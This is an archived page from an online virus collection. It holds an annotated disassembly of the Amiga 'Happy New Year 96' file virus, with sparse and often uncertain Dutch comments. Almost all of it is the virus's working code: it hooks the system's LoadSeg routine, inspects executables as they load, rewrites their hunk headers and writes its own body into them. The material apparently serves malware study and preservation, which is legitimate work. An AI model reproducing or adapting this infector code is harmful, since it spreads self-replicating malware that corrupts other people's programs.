home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
h
/
hny96
/
HNY96a.asm.wwd
(
.txt
)
< prev
next >
Wrap
WordWorth
|
2022-12-23
|
13KB
|
207 lines
;-BEGIN VIRUS!!!-
; Happy New Year 96 core code
; found in artm, some-demo-i-dont-know
; routines are the core and found in both programs
; not everything has been explaned in dutch..
LAB_0004:
MOVEM.L D0-D7/A0-A6,-(A7) ;004C: 48E7FFFE save register op stack
MOVEA.L (ABSEXECBASE).W,A6 ;0050: 2C780004 sla execbase adres op in A6
LEA dosname(PC),A1 ;0054: 43FA01EE laad dosname in A1
MOVE #$4E75,-504(A1) ;0058: 337C4E75FE08 patch routine later in programma???
MOVEQ #37,D0 ;005E: 7025 versie 37 van dos lib
JSR _LVOOpenLibrary(A6) ;0060: 4EAEFDD8 OpenLibrary (dos,37)
MOVE.L D0,D7 ;0064: 2E00 copieer ptr naar dos lib in D7
BEQ.S Exit ;0066: 6742 spring naar Exit wanneer error
MOVEQ #0,D1 ;0068: 7200 zet D1 op 0
MOVEQ #16,D0 ;006A: 7010 zet D0 op 16
LSL.L #8,D0 ;006C: E188 shift D0 naar links, 8-bit
JSR _LVOAllocVec(A6) ;006E: 4EAEFD54 AllocVec()
MOVEA.L D0,A5 ;0072: 2A40 copieer vectorptr in A5
BEQ.S Exit ;0074: 6734 exit wanneer error
MOVEA.L A5,A1 ;0076: 224D copieer A5 naar A1
LEA LAB_0004(PC),A0 ;0078: 41FAFFD2 laad ptr naar LAB_0004 in A0
MOVEQ #16,D0 ;007C: 7010 D0=16
LSL.L #8,D0 ;007E: E188 shift D0 naar links, 8-bit
JSR _LVOCopyMemQuick(A6) ;0080: 4EAEFD8A CopyMemQuick()
JMP 60(A5) ;0084: 4EED003C spring naar A5+60 ?????? activeer vector
misschien???
MOVEA.L D7,A0 ;0088: 2047 copieer dos pointer naar A0
LEA LAB_0006(PC),A1 ;008A: 43FA0024 laad LAB_0006 in A1
MOVE.L D7,400(A1) ;008E: 23470190 stop dos pointer in dosopslag
MOVE #$48E7,-100(A1) ;0092: 337C48E7FF9C copieer $48E7 naar ??????? begin
programma?
MOVEA.L -148(A0),A2 ;0098: 2468FF6C copieer deel van LoadSeg()??? naar A2
CMPI #$2F08,(A2) ;009C: 0C522F08 check ????
BEQ.S Exit ;00A0: 6708 bij error exit
MOVE.L A2,12(A1) ;00A2: 234A000C copieer data naar ??? in A1
MOVE.L A1,-148(A0) ;00A6: 2149FF6C copieer LAB_0006 in LoadSeg()????? routine
Exit:
MOVEM.L (A7)+,D0-D7/A0-A6 ;00AA: 4CDF7FFF Zet stack terug
RTS ;00AE: 4E75
LAB_0006:
MOVE.L A0,-(A7) ;00B0: 2F08 sla A0 in stack op
LEA variabel_0(PC),A1 ;00B2: 43FA0188 haal variabele op
MOVE.L D1,(A1) ;00B6: 2281 copieer D1 naar variabel_0
MOVEA.L (A7)+,A0 ;00B8: 205F haal A0 van stack
JSR EXT_003E ;00BA: 4EB9002300E0 EXT_003E EQU $2300E0
TST.L D0 ;00C0: 4A80 returned ok?
BEQ.S Exit_2 ;00C2: 670A nee, einde. (rts)
MOVEM.L D0-D7/A0-A6,-(A7) ;00C4: 48E7FFFE registers op stack
BSR.S LAB_0008 ;00C8: 6106 branche 2 sub LAB_0008
MOVEM.L (A7)+,D0-D7/A0-A6 ;00CA: 4CDF7FFF registers van stack
Exit_2:
RTS ;00CE: 4E75 einde routine
LAB_0008:
MOVEA.L variabel_0(PC),A0 ;00D0: 207A016A copieer adres van variabel_0 naar
A0
MOVEA.L A0,A4 ;00D4: 2848 copieer A0 naar A4
MOVEQ #45,D2 ;00D6: 742D copieer 45 in D2
MOVEQ #46,D3 ;00D8: 762E copieer 46 in D3
MOVEQ #108,D4 ;00DA: 786C copieer 108 in D4
; Routine wacht tot A0, 45 of inhoud van variabel_0 leeg is
LAB_0009:
TST.B (A0) ;00DC: 4A10 byte test van inhoud eerste byte van A0
BEQ.S LAB_000A ;00DE: 670E eerste byte leeg? spring naar LAB_000A
CMP.B (A0),D2 ;00E0: B410 inhoud van variabel_0 = 45?
BEQ.S Exit_2 ;00E2: 67EA ja, spring naar Exit_2
CMP.B (A0)+,D3 ;00E4: B618 nee, inhoud van variabel_0 = 46?
BNE.S LAB_0009 ;00E6: 66F4 nee, spring naar LAB_0009
CMP.B (A0),D4 ;00E8: B810 ja, inhoud van variabel_0 = 108 ??
BEQ.S Exit_2 ;00EA: 67E2 ja, spring naar Einde
BRA.S LAB_0009 ;00EC: 60EE nee, spring naar naar begin
LAB_000A:
MOVEA.L dosopslag(PC),A6 ;00EE: 2C7A0150 copieer dospointer naar A6
MOVE.L A4,D1 ;00F2: 220C copieer ptr naar variabel_0 in D1 (naam van te
locken file)
MOVEQ #-2,D2 ;00F4: 74FE D2 = ACCES_READ
JSR _LVOLock(A6) ;00F6: 4EAEFFAC maak Lock
MOVE.L D0,D7 ;00FA: 2E00 copieer Lock op file ??? naar D7
BEQ.S Exit_2 ;00FC: 67D0 bij error naar Exit_2
LEA LAB_003A_1(PC),A5 ; copieer LAB_003A_1 naar A5
MOVE.L D7,D1 ;0102: 2207 copieer D7 naar D1 (lock naar D1) (param 1)
MOVE.L A5,D2 ;0104: 240D copieer adres van infoblock reservering in D2 (param
2)
JSR _LVOExamine(A6) ;0106: 4EAEFF9A examine (D1,D2)
MOVE.L D7,D1 ;010A: 2207 D7 naar D1 (lock weer naar D1) (param 1)
MOVEA.L A5,A3 ;010C: 264D copieer infoblock met data naar A3
ADDA.L #$00000200,A3 ;010E: D7FC00000200 bytesperblock=512??
MOVE.L A3,D2 ;0114: 240B copieer infoblock naar D2 (param 2)
JSR _LVOInfo(A6) ;0116: 4EAEFF8E Info (D1,D2)
MOVE.L D7,D1 ;011A: 2207 lock weer naar D1
JSR _LVOUnLock(A6) ;011C: 4EAEFFA6 UnLock D1
CMPI #ID_VALIDATED,10(A3) ;0120: 0C6B0052000A check of disk gevalideerd is
BNE.S Exit_2 ;0126: 66A6 nee, exit
MOVE.L 12(A3),D0 ;0128: 202B000C NumBlocks naar D0
MOVE.L 16(A3),D1 ;012C: 222B0010 NumBlocksUsed naar D1
MOVEQ #4,D2 ;0130: 7404 copieer 4 naar D2
SUB.L D1,D0 ;0132: 9081 NumBlocksUsed-NumBlocks
CMP.L D2,D0 ;0134: B082 is D0 kleiner dan D2?
BLT.S Exit_2 ;0136: 6D96 ja, exit
MOVE.L 124(A5),D5 ;0138: 2A2D007C copieer fib_size (omvang in bytes) naar D5
CMP.L #$00000960,D5 ;013C: BABC00000960 is D5 kleiner dan 2400
BLT.S Exit_2 ;0142: 6D8A ja, exit
CMP.L #$0001E460,D5 ;0144: BABC0001E460 is D5 kleiner dan 124000
BGT.S Exit_2 ;014A: 6E82 nee, exit
MOVE.L D5,D0 ;014C: 2005 ja, copieer fib_size naar D0
MOVEQ #0,D1 ;014E: 7200 maak D1 leeg
MOVEA.L (ABSEXECBASE).W,A6 ;0150: 2C780004 haal execbase adres op
JSR _LVOAllocVec(A6) ;0154: 4EAEFD54 allocatevector naar ??? (geen docs over
AllocVec() )
MOVE.L D0,D7 ;0158: 2E00 copieer vector naar D7
BEQ Exit_2 ;015A: 6700FF72 error, exit
MOVEA.L dosopslag(PC),A6 ;015E: 2C7A00E0 haal doslib pointer op
MOVE.L #$000003ED,D2 ;0162: 243C000003ED copieer 1005 naar D2
BSR openfile ;0168: 610000C0 spring naar openfile
BEQ Exit_2 ;016C: 6700FF60 error, exit
MOVE.L D6,D1 ;0170: 2206 copieer lock naar D1
MOVE.L D7,D2 ;0172: 2407 copieer vector adres naar D2
MOVE.L D5,D3 ;0174: 2605 copieer file size in bytes naar D3
JSR _LVORead(A6) ;0176: 4EAEFFD6 Lees data in vector (D1,D2,D3)
BSR closefile ;017A: 610000B8 sluit file
MOVEA.L D7,A3 ;017E: 2647 copieer vector adres naar A3 (nu met file data)
MOVE.L #$00000087,D4 ;0180: 283C00000087 copieer 135 in D4
LEA 20(A3),A0 ;0186: 41EB0014 Interrupt verticalblank??
MOVE.L (A0),D0 ;018A: 2010 copieer inhoud adres A0 naar D0
ADD.L D4,(A0) ;018C: D990 voeg 135 toe aan verticalblank???
LAB_000B:
MOVE.L (A0)+,D1 ;018E: 2218 copieer A0 en tel 1 erbij op.
ANDI.L #$00FFFFFF,D1 ;0190: 028100FFFFFF
CMP.L #$000003E9,D1 ;0196: B2BC000003E9
BNE.S LAB_000B ;019C: 66F0
ANDI.L #$00FFFFFF,D0 ;019E: 028000FFFFFF
CMP.L (A0),D0 ;01A4: B090
BNE.S LAB_0010 ;01A6: 6676
MOVE.L (A0),D1 ;01A8: 2210
ADD.L D4,(A0)+ ;01AA: D998
LSL.L #2,D1 ;01AC: E589
ADDA.L D1,A0 ;01AE: D1C1
MOVE.L A0,D4 ;01B0: 2808
MOVE.L A0,D1 ;01B2: 2208
CMPI.L #$65772059,-14(A0) ;01B4: 0CA865772059FFF2
BEQ.S LAB_0010 ;01BC: 6760
CMPI #$4E75,-(A0) ;01BE: 0C604E75
BNE.S LAB_000C ;01C2: 6606
MOVE #$4E71,(A0) ;01C4: 30BC4E71
BRA.S LAB_000F ;01C8: 601A
LAB_000C:
MOVEQ #63,D0 ;01CA: 703F
LAB_000D:
CMPI #$4E75,-(A0) ;01CC: 0C604E75
BEQ.S LAB_000E ;01D0: 6706
SUBQ.L #1,D0 ;01D2: 5380
BNE.S LAB_000D ;01D4: 66F6
BRA.S LAB_0010 ;01D6: 6046
LAB_000E:
MOVE #$6000,(A0) ;01D8: 30BC6000
SUB.L A0,D1 ;01DC: 9288
SUBI #$0002,D1 ;01DE: 04410002
ADD D1,(A0) ;01E2: D350
LAB_000F:
MOVE.L #$000003EE,D2 ;01E4: 243C000003EE
BSR.S openfile ;01EA: 613E
BEQ.S LAB_0010 ;01EC: 6730
MOVE.L D6,D1 ;01EE: 2206
MOVE.L D7,D2 ;01F0: 2407
MOVE.L D4,D3 ;01F2: 2604
SUB.L D7,D3 ;01F4: 9687
JSR -48(A6) ;01F6: 4EAEFFD0
MOVE.L D6,D1 ;01FA: 2206
LEA LAB_0004(PC),A0 ;01FC: 41FAFE4E
MOVE.L A0,D2 ;0200: 2408
MOVE.L #$0000021C,D3 ;0202: 263C0000021C
JSR -48(A6) ;0208: 4EAEFFD0
MOVE.L D6,D1 ;020C: 2206
MOVE.L D4,D2 ;020E: 2404
ADD.L D7,D5 ;0210: DA87
SUB.L D4,D5 ;0212: 9A84
MOVE.L D5,D3 ;0214: 2605
JSR -48(A6) ;0216: 4EAEFFD0
BSR closefile ;021A: 61000018
LAB_0010:
MOVEA.L D7,A1 ;021E: 2247 copieer vectoradres naar A1
MOVEA.L (ABSEXECBASE).W,A6 ;0220: 2C780004 execbase adres
JSR _LVOFreeVec(A6) ;0224: 4EAEFD4E FreeVec()
RTS ;0228: 4E75 Einde routine
openfile:
MOVE.L A4,D1 ;022A: 220C copieer naam van file naar D1
JSR _LVOOpen(A6) ;022C: 4EAEFFE2 Open file
MOVE.L D0,D6 ;0230: 2C00 copieer lock naar D6
RTS ;0232: 4E75 einde subroutine
closefile:
MOVE.L D6,D1 ;0234: 2206 copieer lock naar D1
JSR _LVOClose(A6) ;0236: 4EAEFFDC Sluit file
RTS ;023A: 4E75 einde routine
variabel_0:
DC.W $0030 ;023C 00 '0'
DC.W $639D ;023E 'c' 157
dosopslag:
DC.W $0020 ;0240 !!!!!!!
ROXR.B #5,D4 ;0242: EA14 ??????? LONG ???
dosname:
dc.b 'dos.library',0
dc.b '<> Happy New Year 96! <>'
; -END OF VIRUS!-